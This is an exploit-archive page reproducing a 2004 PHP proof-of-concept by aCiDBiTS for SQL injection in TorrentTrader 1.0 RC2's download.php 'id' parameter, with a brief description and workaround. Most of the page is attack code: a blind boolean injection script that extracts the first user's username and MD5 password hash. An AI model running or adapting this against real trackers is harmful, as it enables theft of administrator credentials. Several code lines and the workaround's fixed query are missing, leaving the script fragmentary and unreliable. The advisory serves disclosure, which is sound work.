TorrentTrader 1.0 RC2 - SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1054578 漏洞类型
发布时间 2004-09-01 更新时间 2004-09-01
漏洞平台 PHP CVSS评分 N/A



TorrentTrader 1.0 RC2 SQL Injection Proof of Concept 
By aCiDBiTS 31-August-2004 

"TorrentTrader ( is a feature packed and 
highly customisable open-source BitTorrent tracker." 

This PoC dumps the username and password's md5 hash of first user in 
TorrentTrader web application database, that should be the administrator. 
First it fetchs a valid torrent id, then it determines if database's user 
can perform "union select" and finally obtains the username and 
md5(password). Tested on TorrentTrader 1.0 RC2, maybe older versions also 

Usage (in my debian box): 
php4 -q ./tt_sqli_poc.php "" 

++ Vulnerability description & workaround++ 

There is no user input sanization for parameter "id" in download.php prior 
beeing used in a SQL query. This can be exploited to manipulate SQL queries 
by injecting arbitrary SQL code. A workaround to solve this is to modify 
download.php, line13: 

$res = mysql_query("SELECT filename FROM torrents WHERE id = $id"); 


$res = mysql_query("SELECT filename FROM torrents WHERE id = 


echo "+----------------------------------------------------------+\n| 
TorrentTrader 1.0 RC2 SQL Injection Proof of Concept |\n| By aCiDBiTS 31-August-2004 

if($argc<2) die("Usage: ".$argv[0]." URL_to_TorrentTrader_script\n\n"); 
if(substr($host,strlen($host)-1,1)!='/') $host.='/'; 

echo "[+] Getting valid torrent id ... "; 
if( !$id ) die( "Failed!\n\n"); 
echo "OK\n Using Torrent id: $id\n\n"; 

echo "[+] Checking if injection is possible ... "; 
if( test_cond( $bas."1" ) && !test_cond( $bas."0" ) ) echo " OK\n\n"; else 
die ("\n\n Failed! \n\n"); 

echo "[+] Getting username & password ... \n Username: "; 
get_field( "username"); 
echo "\n MD5(Password): "; 
get_field( "password" ); 

die("\n\n \ / \ /\n (Oo) Done! (oO)\n //||\\\\ 

function test_cond( $cond ) 
global $host; 
$res=get_web( $host."download.php?id=".$cond); 
if( eregi( "The ID has been found on the Database, but the torrent has 
gone!", $res ) ) 
return 1; 
else return 0; 

function get_field( $field ) 
global $bas; 
$unval= " 0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 
while($min!=$max) { 
) { 
echo substr($unval,$mid,1); 
if( !test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))") ) 
} else { 
) $max=$mid; 
else $min=$mid; 
die( "\n\nUnexpected error!\n\n"); 

function get_web($url) 
curl_setopt ($ch, CURLOPT_URL, $url); 
curl_setopt ($ch, CURLOPT_HEADER, 0); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1); 
$data=curl_exec ($ch); 
curl_close ($ch); 
return $data; 

/* \ / 
//||\\ */ 


# [2004-09-01]